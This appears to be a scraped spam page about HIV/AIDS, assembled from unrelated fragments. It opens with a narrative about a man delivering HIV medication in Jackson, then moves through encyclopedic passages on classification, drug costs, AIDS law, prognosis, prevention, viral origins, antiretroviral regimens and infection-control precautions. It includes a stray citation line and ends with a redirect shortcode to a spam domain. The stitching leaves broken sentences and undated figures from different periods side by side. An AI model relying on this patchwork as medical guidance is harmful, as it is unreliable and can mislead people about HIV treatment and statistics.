Negotiating a maze of unpaved roads in Jackson in the company car, a 13-year-old Ford Expedition with cracked seats and chipped paint, he stopped to drop off H.I.V. medication at a couple’s home. One of the men was H.I.V.-positive, the other negative; they lived in the neighborhood locals call the Bottom, where every fifth or sixth home is abandoned, with broken windows, doors hanging off hinges, downed limbs and dry leaves blanketing front yards. Sturdevant banged on the door of a small house, its yard overgrown with weeds; he knew not to leave the package on the doorstep, where it could be stolen. After a while a young man emerged, shirtless, shrugging off sleep. He had just gotten out of jail. Sturdevant handed him the package, shook his hand and told him to “stay out of trouble.”
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Administration of HIV treatment to HIV-positive pregnant women during pregnancy and labour and after delivery, as well as to the newborn baby, dramatically reduces the risk of mother-to-baby transmission of HIV.
The United States Center for Disease Control and Prevention also created a classification system for HIV, and updated it in 2008 and 2014. This system classifies HIV infections based on CD4 count and clinical symptoms, and describes the infection in five groups. In those greater than six years of age it is:
Because HIV is not transmitted through the air or by casual contact (such as touching, holding, or dry kissing), hospitals and do not isolate HIV-infected people unless they have another contagious infection.
Cost is another concern associated with protease inhibitors. To be effective, protease inhibitors must be used in combination with at least two other anti-HIV drugs. Annual costs for this treatment ranges between $12,000-$15,000 per person. Those persons without private health insurance must rely on public programs such as the AIDS Drug Assistance Program (ADAP), a federally funded initiative to provide AIDS-related drugs to people with HIV. Most ADAP programs, which are administered by states, have lacked the funding to enroll everyone in need.
Epidemics have no single answer beyond a cure. Since no cure for AIDS existed as of the early 2000s, the law continued to grapple with a vast number of problems. The federal government has addressed AIDS in two broad ways: by spending money on research and treatment of the disease and by prohibiting unfairness to people with HIV or AIDS. It has funded medical treatment, research, and public education, and it has passed laws prohibiting discrimination against people who are HIV-positive or who have developed AIDS. States and local municipalities have joined in these efforts, sometimes with federal help. In addition, states have criminalized the act of knowingly transmitting the virus through sexual behavior or blood donation. The courts, of course, are the decision makers in AIDS law. They have heard a number of cases in areas that range from employment to education and from crimes to torts. Although a body of case law has developed, it remains relatively new with respect to most issues and controversial in all.
Every 9.5 minutes, someone in the United States becomes infected. That’s more than 56,000 new cases a year. It is estimated that 1.1 million Americans are currently living with HIV. And 1 in 5 are unaware they are infected.
HIV/AIDS has become a chronic rather than an acutely fatal disease in many areas of the world. Prognosis varies between people, and both the CD4 count and viral load are useful for predicted outcomes. Without treatment, average survival time after infection with HIV is estimated to be 9 to 11 years, depending on the HIV subtype. After the diagnosis of AIDS, if treatment is not available, survival ranges between 6 and 19 months. HAART and appropriate prevention of opportunistic infections reduces the death rate by 80%, and raises the life expectancy for a newly diagnosed young adult to 20–50 years. This is between two thirds and nearly that of the general population. If treatment is started late in the infection, prognosis is not as good: for example, if treatment is begun following the diagnosis of AIDS, life expectancy is ~10–40 years. Half of infants born with HIV die before two years of age without treatment.
Sexual abstinence is completely effective in eliminating sexual transmission, but educational campaigns have not been successful in promoting abstinence in at-risk populations. Monogamous sexual intercourse between two uninfected partners also eliminates sexual transmission of the virus. Using barrier methods, such as condoms, during sexual intercourse markedly reduces the risk of HIV transmission. These measures have had some success in blunting the rate of new cases, especially in high-risk areas such as sub-Saharan Africa or Haiti. As discussed above, medications may be used to reduce the risk of HIV infection if used within hours of an exposure. There also is data that if uninfected people can take antiretroviral medications, in particular tenofovir disoproxil fumarate plus emtricitabine (TDF/FTC or Truvada) once daily, that it markedly reduces the risk of sexual transmission. Perhaps the most effective way to reduce HIV transmission is for the HIV-infected partner to be on ART with undetectable levels of virus in their blood. As noted above, a pregnant woman with HIV can reduce the risk of passing the infection to her baby by taking medications during pregnancy and labor and avoiding breastfeeding.
Jump up ^ Lederberg, editor-in-chief Joshua (2000). Encyclopedia of Microbiology, (4 Volume Set) (2nd ed.). Burlington: Elsevier. p. 106. ISBN 9780080548487. Archived from the original on September 10, 2017. Retrieved June 9, 2016.
HIV is treated with antiretrovirals (ARVs). The treatment fights the HIV infection and slows down the spread of the virus in the body. Generally, people living with HIV take a combination of medications called HAART (highly active antiretroviral therapy) or cART (combination antiretroviral therapy).
Fusion and entry inhibitors are agents that keep HIV from entering human cells. Enfuvirtide (Fuzeon/T20) was the first drug in this group and was given in injectable form like insulin. Maraviroc (Selzentry) can be given by mouth and is used in combination with other ARTs.
In September 2014, new UNAIDS “Fast Track” targets called for the dramatic scaling-up of HIV prevention and treatment programmes to avert 28 million new infections and end the epidemic as a public health issue by 2030.93
Mitochondria (structures within cells that generate energy) can be damaged when certain nucleoside reverse transcriptase inhibitors are used. Side effects include anemia, foot pain caused by nerve damage (neuropathy), liver damage that occasionally progresses to severe liver failure, and heart damage that can result in heart failure. Individual drugs differ in their tendency to cause these problems. When possible, doctors do not use the drugs with the most damaging side effects, such as stavudine and didanosine.
Both HIV-1 and HIV-2 are believed to have originated in non-human primates in West-central Africa and were transferred to humans in the early 20th century. HIV-1 appears to have originated in southern Cameroon through the evolution of SIV(cpz), a simian immunodeficiency virus (SIV) that infects wild chimpanzees (HIV-1 descends from the SIVcpz endemic in the chimpanzee subspecies Pan troglodytes troglodytes). The closest relative of HIV-2 is SIV(smm), a virus of the sooty mangabey (Cercocebus atys atys), an Old World monkey living in coastal West Africa (from southern Senegal to western Côte d’Ivoire). New World monkeys such as the owl monkey are resistant to HIV-1 infection, possibly because of a genomic fusion of two viral resistance genes. HIV-1 is thought to have jumped the species barrier on at least three separate occasions, giving rise to the three groups of the virus, M, N, and O.
In general, most antiviral regimens for HIV disease contain a backbone of at least two NRTIs. The NRTIs include zidovudine (Retrovir, ZDV), stavudine (Zerit, d4T), didanosine (Videx, ddI), zalcitabine (HIVID, ddC), lamivudine (Epivir, 3TC), emtricitabine (Emtriva, FTC), abacavir (Ziagen, ABC), tenofovir disoproxil fumarate (Viread, TDF), and tenofovir alafenamide (Descovy, TAF). The latter drug is a new formulation of tenofovir that has become available as tenofovir alafenamide (TAF) as part of multiple fixed-dose combinations. This form of tenofovir has been shown to be equally effective as TDF but with less renal and bone toxicity. The NRTIs FTC and 3TC are highly related compounds and, although data is somewhat limited, most experts agree that they probably can be used interchangeably. That said, many combinations of NRTIs can be used together, with current guidelines generally recommending the fixed-dose combination of TDF with FTC (Truvada), or TAF with FTC (Descovy), both of which are also available as part of single tablet regimens. An alternative regimen uses the fixed-dose combination of ABC/3TC (Epzicom) alone or combined as a single tablet regimen with dolutegravir (Triumeq). ABC has been associated with severe allergic reactions in approximately 5% of patients. Recent studies have shown that a blood test (HLA-B*5701) can be performed to determine who is at risk for this reaction so that the drug can be avoided in these individuals and be used in others with greater confidence that there will not be such a reaction. In fact, when available, it is now the standard of care to perform this test prior to initiation of ABC. The main side effects associated with TDF are reduced kidney function and bone density.
Universal precautions: Medical and dental health care practitioners should wear gloves in situations that may involve contact with any patient’s mucous membranes or body fluids and should be taught how to avoid needlestick accidents. Home caregivers of patients with HIV infection should wear gloves if their hands may be exposed to body fluids. Surfaces or instruments contaminated by blood or other body fluids should be cleaned and disinfected. Effective disinfectants include heat, peroxide, alcohols, phenolics, and hypochlorite (bleach). Isolation of HIV-infected patients is unnecessary unless indicated by an opportunistic infection (eg, TB). Guidelines to prevent transmission from infected practitioners to patients have not been established. See also the CDC’s Recommendations for Preventing Transmission of Human Immunodeficiency Virus and Hepatitis B Virus to Patients During Exposure-Prone Invasive Procedures. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]